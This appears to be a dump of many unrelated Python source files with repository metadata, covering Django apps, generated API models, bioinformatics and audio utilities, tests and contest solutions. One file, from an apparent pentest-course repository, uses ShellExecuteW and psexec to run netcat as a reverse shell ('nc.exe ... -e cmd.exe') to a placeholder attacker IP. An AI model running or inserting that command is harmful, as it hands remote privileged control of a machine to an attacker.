ac5ba21305a500a9b7671ef57166bd48d55276cc | 93e5b82332af9f0d3e203d086e30794fb90a2086 | /ForKids/appendixb/ch14-game-over.py | 474538652bae3b7192201c20d918b5c516da7d26 | [] | no_license | swell1009/ex | cfaae0b5fe917f12416170dce60f7dea8194f368 | 29b274fb51adbdc43af6ebecaec89c97bc58be6f | refs/heads/master | 2020-04-04T10:15:20.578932 | 2018-11-22T06:27:30 | 2018-11-22T06:27:30 | 155,848,187 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,701 | py | from tkinter import *
import random
import time
class Ball:
def __init__(self, canvas, paddle, color):
self.canvas = canvas
self.paddle = paddle
self.id = canvas.create_oval(10, 10, 25, 25, fill=color)
self.canvas.move(self.id, 245, 100)
starts = [-3, -2, -1, 1, 2, 3]
... | [
"swell1009@qq.com"
] | swell1009@qq.com |
230c7858868fd3f749ca0b020713498141986b25 | 9043da349ef0dde4cb6d819a69992274cac99125 | /app/views.py | 18d64f925ce07f531d717d8d30d40975dc5db33a | [] | no_license | zcoder/cantailme-server | e78529f5fa554ff2979215f21089068629aa1259 | 3940c4177ecca43aa78040b129aa29327a466c29 | refs/heads/master | 2021-01-16T21:07:35.372771 | 2012-07-10T18:17:40 | 2012-07-10T18:17:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 372 | py | from django.shortcuts import get_object_or_404
from annoying.decorators import render_to
from app.models import TailSession
@render_to('app/index.html')
def index(request):
"""Index page"""
return {}
@render_to('app/tail.html')
def tail(request, hash):
"""Display by hash"""
return {
'session... | [
"nvbn.rm@gmail.com"
] | nvbn.rm@gmail.com |
fb683de87b440fb79e7283fcdf4f67d2062f4338 | c4f0a0215956ff0c29ae491a10416a72c1ce654d | /nails_project/nails_project/accounts/urls.py | d27edda41f2e3ed2b138980e290a802ebb7219da | [] | no_license | borislavstoychev/my_exam | 1a2a499b2e6ac507641a9aad76576d49d4ac6a6d | 9c756f76679ad85697ff123c478b765656d4ce2d | refs/heads/main | 2023-07-13T12:49:40.116891 | 2021-08-25T08:54:44 | 2021-08-25T08:54:44 | 380,476,519 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 556 | py | from django.urls import path
from nails_project.accounts import views
urlpatterns = (
path('sign-in/', views.SignInView.as_view(), name='sign in user'),
path('sign-out/', views.SignOutView.as_view(), name='sign out user'),
path('sign-up/', views.SignUpView.as_view(), name='sign up user'),
path('profile... | [
"stoy4ew@gmail.com"
] | stoy4ew@gmail.com |
408b2759512d27d6ac6c858cf465b57ebc6a92ae | b67bcff47ed23af86edc27ea8bf8c4b24fd67434 | /cyberbrain/basis.py | 2c5bd59854b426b16202b843f6886116a431ef98 | [
"MIT"
] | permissive | vvoody/Cyberbrain | 3f0f0f671f18377566f32f5f5381ac9ab4a61bb9 | bac343b6e596d270d152e345ee74c2d0b8d265a2 | refs/heads/master | 2020-08-24T02:36:31.111072 | 2019-10-21T07:04:43 | 2019-10-21T07:04:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,940 | py | """Some basic data structures used throughout the project."""
from collections import defaultdict
from enum import Enum
from typing import Dict, NamedTuple, Tuple, Union
# "surrounding" is a 2-element tuple (start_lineno, end_lineno), representing a
# logical line. Line number is frame-wise.
#
# For single-line state... | [
"laike9m@gmail.com"
] | laike9m@gmail.com |
0cc1a6763c74990c23270a72d398db34d9e14368 | c4f01eec090833762b884c2078161df087d09b0d | /Other documents/Term papers/Курсач (5 сем)/CourseWorkPolygon/venv/Lib/site-packages/pdhttp/models/wrist_button_states.py | 54f9774741221e78c328ee18e8104101b5dcb943 | [] | no_license | areyykarthik/Zhukouski_Pavel_BSU_Projects | 47a30144c5614b10af521a78fba538a0e9184efa | 3540979e680732d38e25a6b39f09338985de6743 | refs/heads/master | 2023-08-07T02:49:34.736155 | 2021-10-05T21:57:03 | 2021-10-05T21:57:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,076 | py | # coding: utf-8
"""
Robot API
Robot REST API # noqa: E501
OpenAPI spec version: 1.8.2
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class WristButtonStates(dict):
"""NOTE: This class is auto generated by the swagge... | [
"shist.pupust@mail.ru"
] | shist.pupust@mail.ru |
b432bf69f1eae4c948cc8044b5e361f046760d5a | 054bc8696bdd429e2b3ba706feb72c0fb604047f | /python/vcf/VCFSetID/VCFSetID.py | e2d14da422c7239b968475a01174e89a00f78923 | [] | no_license | wavefancy/WallaceBroad | 076ea9257cec8a3e1c8f53151ccfc7c5c0d7200f | fbd00e6f60e54140ed5b4e470a8bdd5edeffae21 | refs/heads/master | 2022-02-22T04:56:49.943595 | 2022-02-05T12:15:23 | 2022-02-05T12:15:23 | 116,978,485 | 2 | 3 | null | null | null | null | UTF-8 | Python | false | false | 2,450 | py | #!/usr/bin/env python3
"""
Set/Replace ID for VCF file. setID as : chr:pos:ref:alt
@Author: wavefancy@gmail.com
Usage:
VCFSetID.py [-i] [-s] [-m int]
VCFSetID.py -h | --help | -v | --version | -f | --format
Notes:
1. Read vcf file from stdin, setID as : chr:pos:ref:alt.
... | [
"wavefancy@gmail.com"
] | wavefancy@gmail.com |
fae7eca82ace71668d57d4156e436c6965ab22b9 | 132b261b16338cb7b9297bd04eaaaafe34bde89e | /sendSMSSkillLambda/package/ask_sdk_model/interfaces/audioplayer/error.py | 0c4c22d8473612ca7097a846067b1f065118c3e7 | [
"Apache-2.0"
] | permissive | ziniman/aws-alexa-lambda-workshop | 2835b998272b01856d3dbea6481e9ee4457da2f2 | d1e291ebd3e20132098541c92735d29491bfc932 | refs/heads/master | 2020-06-25T22:58:04.814822 | 2019-09-08T10:37:00 | 2019-09-08T10:37:00 | 199,446,036 | 0 | 3 | Apache-2.0 | 2019-09-05T09:03:12 | 2019-07-29T12:11:58 | Python | UTF-8 | Python | false | false | 3,562 | py | # coding: utf-8
#
# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file
# except in compliance with the License. A copy of the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "lice... | [
"oritalul@amazon.com"
] | oritalul@amazon.com |
873ef77356637ce0e4537e113fbf9e125a3bb52c | a3597afc5aaf15723dba35d5b114f2b3e129a168 | /mars/services/lifecycle/supervisor/tests/test_tracker.py | df62277ac9f2722e4ab8cefc3bfe49accb92f48e | [
"BSD-3-Clause",
"CC0-1.0",
"ISC",
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference",
"BSD-2-Clause",
"MIT"
] | permissive | hekaisheng/mars | 5edff06194779d6005bd768dabadd9191c812cb3 | 49ce0c1c691d405040e53b8eb8d8af9b7e87ae55 | refs/heads/master | 2023-01-10T06:24:05.532213 | 2021-12-07T08:21:56 | 2021-12-07T08:21:56 | 160,764,275 | 0 | 2 | Apache-2.0 | 2021-01-10T08:43:43 | 2018-12-07T03:12:41 | Python | UTF-8 | Python | false | false | 3,052 | py | # Copyright 1999-2021 Alibaba Group Holding Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | [
"noreply@github.com"
] | hekaisheng.noreply@github.com |
4600df2a769dabba26bb553fe5ece02566fc38c3 | 5598fe9705c7066407ee02245ae5f98f3fec3a54 | /utils.py | 309482bf5635e5221ceec060f59ecba73c132a36 | [] | no_license | EgorLakomkin/TopCoderSpokenLanguageRecognition | 8d2bb1608cc6d4eaf25d4bc43c48ce9e7f68bb4a | 73df1b4742a71fb825d78e7f15f3a2a54339d4ef | refs/heads/master | 2021-01-10T17:10:34.030434 | 2015-11-14T11:03:47 | 2015-11-14T11:03:47 | 46,171,260 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,253 | py | import os
from subprocess import check_call
from path import Path
import librosa
from cPickle import Pickler, Unpickler
import cPickle
from multiprocessing import Pool
import numpy as np
from features_storage import FeatureStorage
DATA_DIR = './data'
FEATURE_STORAGE = 'features_storage'
TRAINING_FILE = os.path.join(D... | [
"you@example.com"
] | you@example.com |
ff2417be8026f879c74193c9a68d160b8a26196d | c8a04384030c3af88a8e16de4cedc4ef8aebfae5 | /stubs/pandas/tests/frame/test_asof.pyi | cf6de5856ad19886ade3d96fdb920a6514d14236 | [
"MIT"
] | permissive | Accern/accern-xyme | f61fce4b426262b4f67c722e563bb4297cfc4235 | 6ed6c52671d02745efabe7e6b8bdf0ad21f8762c | refs/heads/master | 2023-08-17T04:29:00.904122 | 2023-05-23T09:18:09 | 2023-05-23T09:18:09 | 226,960,272 | 3 | 2 | MIT | 2023-07-19T02:13:18 | 2019-12-09T20:21:59 | Python | UTF-8 | Python | false | false | 718 | pyi | # Stubs for pandas.tests.frame.test_asof (Python 3)
#
# NOTE: This dynamically typed stub was automatically generated by stubgen.
# pylint: disable=unused-argument,redefined-outer-name,no-self-use,invalid-name
# pylint: disable=relative-beyond-top-level
from typing import Any
def date_range_frame() -> Any:
...
... | [
"josua.krause@gmail.com"
] | josua.krause@gmail.com |
2e908b9f14dad212166d5d26c5846a4014df8854 | 750d8ade6abc2b3bd6a24e660a4992114db6ac0c | /lib/music/plex/__init__.py | 6b0e02e3511aa7df7bc5c68e754877876aaa33c2 | [] | no_license | dskrypa/music_manager | 8a00a4bd7b32a87dab2441614c94346fa87c4f13 | ad7265fbd203962a4bf9cf6444c8e10d561a307c | refs/heads/main | 2023-08-09T06:26:46.592118 | 2023-08-08T11:38:08 | 2023-08-08T11:38:08 | 234,730,172 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,016 | py | """
Package for working with the Plex API, and for syncing Plex ratings with ratings stored in ID3 tags.
Note on fetchItems:
The kwargs to fetchItem/fetchItems use __ to access nested attributes, but the only nested attributes available are
those that are returned in the items in ``plex.server.query(plex._ekey(search_... | [
"dskrypa@gmail.com"
] | dskrypa@gmail.com |
12c9bc75b85fee4fddb162344fe499e27e861437 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03475/s093541910.py | fba06f3b1736933db986f94190f598cc10fff7bf | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 161 | py | N=int(input())
l=[0]*N
for i in range(N-1):
c,s,f=map(int,input().split())
l[i]=c+s
for j in range(i):
l[j]=max(l[j],s,-(-l[j]//f)*f)+c
for i in l:print(i) | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
b201b0ea2d5386b9e8b4dafdfd2fcb3d93cd1298 | b665fe52aceca20944f5c7dfc74688370e514666 | /dbaas/workflow/steps/redis/resize/__init__.py | 5dca9388a256f4780a11cbdaff1ff49171827266 | [] | no_license | tsunli/database-as-a-service | 5e68ee22b1b46d30c6d83278407494971097d451 | 73573d495f62829259f656dfa0b642b9be4f2ead | refs/heads/master | 2021-01-24T15:06:42.029936 | 2015-07-02T21:42:44 | 2015-07-02T21:42:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,626 | py | # -*- coding: utf-8 -*-
import logging
from dbaas_cloudstack.models import HostAttr
from util import exec_remote_command
from workflow.exceptions.error_codes import DBAAS_0015
from util import full_stack
from util import build_context_script
LOG = logging.getLogger(__name__)
def run_vm_script(workflow_dict, context_... | [
"raposo.felippe@gmail.com"
] | raposo.felippe@gmail.com |
d26831364d5626bb2c597b32de481c75ecd14631 | 29a435f155f6b49b97e41241ef01274a15e9b407 | /collective/packagekit/browser/util_view.py | 314997a577dbc4bf2c679f3769306bb1a9686ce2 | [] | no_license | kagesenshi/collective.packagekit | b55d1763bf97e884b89c9eb8f9b51c497f8ad80b | 1fcefc10f1bf71b60dd671dff4783dc390c87e63 | refs/heads/master | 2020-06-03T18:02:22.124810 | 2011-12-29T14:18:44 | 2011-12-29T14:18:44 | 3,011,085 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,146 | py | from five import grok
from collective.packagekit.pkappbehavior import IPackageKitApplicationBehavior
from zope.interface import Interface
from itertools import izip
grok.templatedir('templates')
from zope.security import checkPermission
class PKAppUtilView(grok.View):
grok.name('pkapp_util')
grok.context(IPa... | [
"izhar@inigo-tech.com"
] | izhar@inigo-tech.com |
bed7e0c91fb9452819a192221524a55e26a1d1c1 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2189/60795/256420.py | 444dea8a9fbb5a06c9caaf11ecf79c4b1dc786bf | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,327 | py | def test(num):
num = int(num)
at = 0
th, hu, de, fa = 0, 0, 0, 0
if num > 10 & num < 100:
fa = num % 10
de = (num - fa) / 10
at = de * de + fa * fa
elif num > 100 & num < 1000:
hu = num / 100
de = num % 100 / 10
fa = num % 100 % 10
at = hu * hu... | [
"1069583789@qq.com"
] | 1069583789@qq.com |
1c5fedb67468760e5c3073345d8d2eb82b9228ea | 050ccac41c3b3b217204eb5871ca987f897b8d56 | /tradeorsale/apps/item/events.py | 0cef9d23f7d18247f34355e0ff52e24a94de8e5d | [] | no_license | marconi/tradeorsale | 6aefc7760f389aabd7e08fe40953914f5ea60abc | 6750260734f77cbf60c19ddddc83ebd27a5fb3a9 | refs/heads/master | 2021-01-23T20:21:24.210074 | 2013-01-12T09:05:09 | 2013-01-12T09:05:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,524 | py | # # -*- coding: utf-8 -*-
# import logging
# from cornice import Service
# from sqlalchemy.orm.exc import NoResultFound
# from pyramid.i18n import TranslationString as _
# from tradeorsale.apps.item.models import Item
# from tradeorsale.libs.models import DBSession
# logger = logging.getLogger('tradeorsale')
# jso... | [
"caketoad@gmail.com"
] | caketoad@gmail.com |
69825a5a9bffc35dd9540519400ec2f710db6246 | 6b2a8dd202fdce77c971c412717e305e1caaac51 | /solutions_5670465267826688_1/Python/cvarad/abc.py | 1720f7c8ffacfd6974b6e997e64ca36d68e8cbc7 | [] | no_license | alexandraback/datacollection | 0bc67a9ace00abbc843f4912562f3a064992e0e9 | 076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf | refs/heads/master | 2021-01-24T18:27:24.417992 | 2017-05-23T09:23:38 | 2017-05-23T09:23:38 | 84,313,442 | 2 | 4 | null | null | null | null | UTF-8 | Python | false | false | 2,505 | py | mult = {('j', '1'): 'j', ('k', 'i'): 'j', ('1', 'j'): 'j', ('1', '1'): '1', ('k', 'j'): '-i', ('1', 'k'): 'k', ('k', 'k'): '-1', ('j', 'i'): '-k', ('k', '1'): 'k', ('i', 'j'): 'k', ('1', 'i'): 'i', ('i', 'k'): '-j', ('j', 'k'): 'i', ('i', 'i'): '-1', ('i', '1'): 'i', ('j', 'j'): '-1'}
def multiply(x, y):
if x[0] =... | [
"eewestman@gmail.com"
] | eewestman@gmail.com |
1bea2d0ad3996f39218a58d6b1b0ab794fe1b9d9 | c00f701c7d4f765b1be9c0a1d68861551b063185 | /pages/admin.py | 9fd844fc98e431223bb9e097241c2404a0b613f6 | [] | no_license | Aditta-das/vege | f52921de10e492b775defc0f698cc784e011f1a9 | 881d99de1ae44787d504b1bb3647c873b7e7a32f | refs/heads/master | 2020-12-23T19:50:18.570462 | 2020-01-30T17:11:07 | 2020-01-30T17:11:07 | 237,255,549 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 305 | py | from django.contrib import admin
from .models import Detail, Comment
# Register your models here.
class Admin(admin.ModelAdmin):
list_display = ('id', 'title', 'category', 'is_stock', 'price')
list_display_links = ('id', 'title')
admin.site.register(Detail, Admin)
admin.site.register(Comment)
| [
"ndas5662@gmail.com"
] | ndas5662@gmail.com |
dccf38d64ab43cb8022c1097d9c82acdc491b23a | b09920ecdce8ab84df6a3b24b420d14c2c846078 | /GrantHolders/migrations/0002_auto_20201226_1723.py | fb6fab5051eec95566994b38a46b86eaa5c75baa | [] | no_license | BakdauletBolatE/sciense2020 | becdf64a3ecdfd35651b34cc045e09ee6ca804b9 | 4ed24162c056fc95bf8c02800116eddaf48c6387 | refs/heads/main | 2023-02-11T15:13:52.307403 | 2021-01-02T12:46:05 | 2021-01-02T12:46:05 | 324,537,781 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 787 | py | # Generated by Django 3.1.4 on 2020-12-26 17:23
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('GrantHolders', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='grantholder... | [
"bakosh21345@gmail.com"
] | bakosh21345@gmail.com |
657e83359651d28d59d3c8c43f3f9ecfd7ae5c7a | b45d66c2c009d74b4925f07d0d9e779c99ffbf28 | /tests/unit_tests/core_tests/service_tests/main_tests/test_main_retail_input_endpoints.py | 5b43f5ae98c9a1212f70f561e05c1f1ea8ed82b7 | [] | no_license | erezrubinstein/aa | d96c0e39762fe7aaeeadebbd51c80b5e58576565 | a3f59ba59519183257ed9a731e8a1516a4c54b48 | refs/heads/master | 2021-03-12T23:44:56.319721 | 2016-09-18T23:01:17 | 2016-09-18T23:01:17 | 22,665,501 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,352 | py | from core.service.svc_main.implementation.service_endpoints.retail_input_endpoints import RetailInputEndpoints
from core.service.svc_main.implementation.service_endpoints.endpoint_field_data import *
from common.helpers.common_dependency_helper import register_common_mox_dependencies
from common.utilities.inversion_of_... | [
"erezrubinstein@hotmail.com"
] | erezrubinstein@hotmail.com |
7ec822625c92375e8d896e391d9e29f135d560bf | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_135/1016.py | ddf1fa1b653fea35088b6d3fe64db5a02aa39fff | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 622 | py | # -*- coding: utf-8 -*-
f = open("A-small-attempt0.in")
T = int(f.readline())
for t in range(T):
a = int(f.readline())
for i in range(1, 5):
s = f.readline()
if i == a:
firstset = set(map(int, s.split(" ")))
b = int(f.readline())
for i in range(1, 5):
s = f.readline... | [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
94acf1ea1faefa3016f2d23ef45c62315e312dda | dbf76237e39087bf1a73243bbb019710182be0e4 | /Capitulo 2/28 - autoridade2.py | 0446ac6eb10b20550fa18cfc8fd429680b9e8601 | [] | no_license | sandromelobrazil/Python_Para_Pentest | 52edd86fa5929e0303e60e9872c027aae564becd | 1837b523ad55e1c8ca066341459714e2fc88f037 | refs/heads/master | 2020-04-05T16:56:22.342925 | 2018-11-11T00:52:23 | 2018-11-11T00:52:23 | 157,035,879 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 191 | py | import ctypes
ctypes.windll.shell32.ShellExecuteW(None, u"runas", u"psexec.exe",
u"-accepteula -nobanner -s -d C:\\Users\\usuario\\Desktop\\nc.exe IP_do_atacante 666 -e cmd.exe", None, 0) | [
"sandromelo.brazil@gmail.com"
] | sandromelo.brazil@gmail.com |
2e24114040a5492d2a20aa1dd70e6205c6b0a72d | 806bf6a28854da12df7fad1deefa175f4e974ad6 | /visualization/c2.2.25.py | 6d7b77a2406ca6f0844169ce7bb3968c0b62250e | [] | no_license | qliu0/PythonInAirSeaScience | ba613e61ce331e5e2b4b5c0045f0223cde42718b | 1c8d5fbf3676dc81e9f143e93ee2564359519b11 | refs/heads/master | 2023-08-28T08:24:15.894918 | 2021-08-26T12:26:58 | 2021-08-26T12:26:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 772 | py | from mpl_toolkits.basemap import Basemap
import numpy as np
import matplotlib.pyplot as plt
# lat_1、lat_2 分别是第一、二标准纬线
m = Basemap(width=12000000,height=9000000,\
resolution='l',projection='eqdc',\
lat_1=45.,lat_2=55,lat_0=50,lon_0=108.)
m.drawcoastlines()
m.fillcontinents(color='y',lake_color='c... | [
"queensbarry@foxmail.com"
] | queensbarry@foxmail.com |
afb3a5e9967dbe9b0e8519795602b3cb86d2e631 | 39fa2df1ab72444f3fe62d29c2dd146fbcdff564 | /test1/MyDjangoSite/myTest/views.py | 1b8c643053f6869de091845b2306c03bae1a14f1 | [] | no_license | gaozhidf/django | faa6c3f623075efc9c30f039ae93c8d02decb085 | 8526c2b33cc41dee9a636d126366990fb502834b | refs/heads/master | 2021-01-01T17:15:52.834568 | 2015-08-13T09:26:26 | 2015-08-13T09:26:26 | 40,441,228 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 290 | py | from django.shortcuts import render
# Create your views here.
from django.http import HttpResponse, Http404
def hello(request):
return HttpResponse("Hello world")
def hello1(request, num):
try:
num = int(num)
HttpResponse("Hello world too")
except ValueError:
raise Http404() | [
"gaozhidf@gmail.com"
] | gaozhidf@gmail.com |
e0b92735daaf2063e1e568e4174e38dfd2c19568 | 55c250525bd7198ac905b1f2f86d16a44f73e03a | /Python/Projects/twilio/build/lib/twilio/rest/api/v2010/account/conference/participant.py | b7979a9d6f17baa5d7fd2d1d56c1a25272656037 | [
"LicenseRef-scancode-other-permissive"
] | permissive | NateWeiler/Resources | 213d18ba86f7cc9d845741b8571b9e2c2c6be916 | bd4a8a82a3e83a381c97d19e5df42cbababfc66c | refs/heads/master | 2023-09-03T17:50:31.937137 | 2023-08-28T23:50:57 | 2023-08-28T23:50:57 | 267,368,545 | 2 | 1 | null | 2022-09-08T15:20:18 | 2020-05-27T16:18:17 | null | UTF-8 | Python | false | false | 130 | py | version https://git-lfs.github.com/spec/v1
oid sha256:517e39235cd9a18aa43315a0f2243a0b6f051535285cb71b5db98d5aec53da01
size 30162
| [
"nateweiler84@gmail.com"
] | nateweiler84@gmail.com |
3b15727e1ace910554d9e47e1fc36e68e74aabc0 | c2002f5451a52450db536088cf1f4beec9d23d7f | /0x1C-makefiles/5-island_perimeter.py | 8032bfe4825143c89eebadc851220ba5e6f3a2c5 | [] | no_license | JulianCanoDev/holbertonschool-low_level_programming | d23e10cb14d4cf5bffcb8601bb2e4a7eaf3c3038 | 6484d00870b0578a8acaba0ff125bf2e476828dc | refs/heads/master | 2021-07-12T21:10:35.513238 | 2021-06-22T22:25:17 | 2021-06-22T22:25:17 | 238,518,191 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 540 | py | #!/usr/bin/python3
"""
Defines an island perimeter measuring
"""
def island_perimeter(grid):
"""
Return the perimiter of an island
"""
width = len(grid[0])
height = len(grid)
edges = 0
size = 0
for i in range(height):
for j in range(width):
if grid[i][j] == 1:
... | [
"juliancano.dev@gmail.com"
] | juliancano.dev@gmail.com |
661c565ec03275a3d21d78d26923358819478938 | b683c8f1942a1ab35062620c6013b1e223c09e92 | /Python-Files/Day-21/Question-87-alternative-solution-2.py | d1f23c21c0e660f4e332852acd43bab6779845c7 | [] | no_license | nihathalici/Break-The-Ice-With-Python | 601e1c0f040e02fe64103c77795deb2a5d8ff00a | ef5b9dd961e8e0802eee171f2d54cdb92f2fdbe8 | refs/heads/main | 2023-07-18T01:13:27.277935 | 2021-08-27T08:19:44 | 2021-08-27T08:19:44 | 377,414,827 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 426 | py | """
Question 87
Question
With two given lists [1,3,6,78,35,55] and [12,24,35,24,88,120,155],
write a program to make a list whose elements are
intersection of the above given lists.
Hints
Use set() and "&=" to do set intersection operation.
"""
list1 = [1, 3, 6, 78, 35, 55]
list2 = [12, 24, 35, 24, 88, 120, 155]
set... | [
"noreply@github.com"
] | nihathalici.noreply@github.com |
4f3d07f153b1f95a64a58781bc02da8823cfab74 | 376e2608fcedd1407d8c2a65634220984bbd9b85 | /alpenbank/settings.py | 1ba723fa8566bcf23684c4aa5e5a47d21f914256 | [] | no_license | SimeonYS/alpenbank | c2128697deab2c4f2fd97ea87ac7810cf889ebab | a0f46ad71cde350bec4e30a851708428e32be72e | refs/heads/main | 2023-03-09T09:11:26.534659 | 2021-02-23T11:42:00 | 2021-02-23T11:42:00 | 341,535,561 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 392 | py | BOT_NAME = 'alpenbank'
SPIDER_MODULES = ['alpenbank.spiders']
NEWSPIDER_MODULE = 'alpenbank.spiders'
FEED_EXPORT_ENCODING = 'utf-8'
LOG_LEVEL = 'ERROR'
DOWNLOAD_DELAY = 0
USER_AGENT="Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36"
ROBOTSTXT_OBEY = Tr... | [
"simeon.simeonov@ADPVT.com"
] | simeon.simeonov@ADPVT.com |
e4e175743927d2d38466815d4429550bd4380b0f | a5a99f646e371b45974a6fb6ccc06b0a674818f2 | /RecoJets/JetProducers/python/fixedGridRhoProducer_cfi.py | 6f9ee1ae1a6df7a91ece5014cdba4413192be8b4 | [
"Apache-2.0"
] | permissive | cms-sw/cmssw | 4ecd2c1105d59c66d385551230542c6615b9ab58 | 19c178740257eb48367778593da55dcad08b7a4f | refs/heads/master | 2023-08-23T21:57:42.491143 | 2023-08-22T20:22:40 | 2023-08-22T20:22:40 | 10,969,551 | 1,006 | 3,696 | Apache-2.0 | 2023-09-14T19:14:28 | 2013-06-26T14:09:07 | C++ | UTF-8 | Python | false | false | 497 | py | import FWCore.ParameterSet.Config as cms
fixedGridRhoCentral = cms.EDProducer("FixedGridRhoProducer",
pfCandidatesTag = cms.InputTag("particleFlow"),
EtaRegion = cms.string("Central")
)
fixedGridRhoForward = cms.EDProducer("FixedGridRhoProducer",
pfCandidatesTag = cms.InputTag("particleFlow"),
EtaRegi... | [
"giulio.eulisse@gmail.com"
] | giulio.eulisse@gmail.com |
c4695c901a02a94e112fab81598f233dc0534459 | fcaa0395a7c6aa74cbc47c40f35fdc312e44b9c5 | /aok/comparisons/__init__.py | 00898d6b19afe33e80500e988e0cc24bd6dfcf91 | [] | no_license | rocketboosters/a-ok | b6f1a70d262123c2df5e4969a687cbcfdfbafc8c | 06f31404a4ce34d561253ba74b533ce3fb73c60c | refs/heads/main | 2023-09-02T19:18:18.158296 | 2021-11-03T01:54:36 | 2021-11-03T01:54:36 | 388,142,177 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,275 | py | """Comparison operators subpackage for the aok library."""
from aok.comparisons._basics import Anything # noqa: F401
from aok.comparisons._basics import Between # noqa: F401
from aok.comparisons._basics import Equals # noqa: F401
from aok.comparisons._basics import Greater # noqa: F401
from aok.comparisons._basics ... | [
"swernst@gmail.com"
] | swernst@gmail.com |
2acf663118eb22264c326d53e1cc3e0f86209fce | d737fa49e2a7af29bdbe5a892bce2bc7807a567c | /software/qt_examples/src/pyqt-official/widgets/shapedclock.py | 0c1c44b50df3de59c7adebb087f4f9d2b396d3f4 | [
"GPL-3.0-only",
"MIT",
"CC-BY-NC-SA-4.0",
"GPL-1.0-or-later"
] | permissive | TG-Techie/CASPER | ec47dfbfd6c3a668739ff4d707572e0b853518b4 | 2575d3d35e7dbbd7f78110864e659e582c6f3c2e | refs/heads/master | 2020-12-19T12:43:53.825964 | 2020-01-23T17:24:04 | 2020-01-23T17:24:04 | 235,736,872 | 0 | 1 | MIT | 2020-01-23T17:09:19 | 2020-01-23T06:29:10 | Python | UTF-8 | Python | false | false | 5,194 | py | #!/usr/bin/env python
#############################################################################
##
## Copyright (C) 2013 Riverbank Computing Limited.
## Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
## All rights reserved.
##
## This file is part of the examples of PyQt.
##
## $QT_BEGIN_LICENS... | [
"TGTechie01@gmail.com"
] | TGTechie01@gmail.com |
7aa75076d646b49b3ef2cc13d97d1040ad806a7e | e8790304ded051df1d6bce56e2a5df32b2a8bd71 | /eshop/cart/forms.py | b0489422ab83f7a8647ce15df7868070e106b02a | [] | no_license | puskarkarki/TrialEcommerce | d5769c348937f66d6a8d7bd25eef4fc581856219 | a8afd83a93c6299b5505b23d74d8740e3ee66928 | refs/heads/master | 2023-08-31T23:43:25.965510 | 2021-09-22T12:09:30 | 2021-09-22T12:09:30 | 405,687,882 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 315 | py | from django import forms
PRODUCT_QUANTITY_OPTIONS = [(i, str(i)) for i in range(1, 100)]
class AddProductToCartForm(forms.Form):
quantity = forms.TypedChoiceField(choices=PRODUCT_QUANTITY_OPTIONS, coerce=int)
override = forms.BooleanField(required=False, initial=False, widget=forms.HiddenInput)
| [
"puskarrajkarki1234@gmail.com"
] | puskarrajkarki1234@gmail.com |
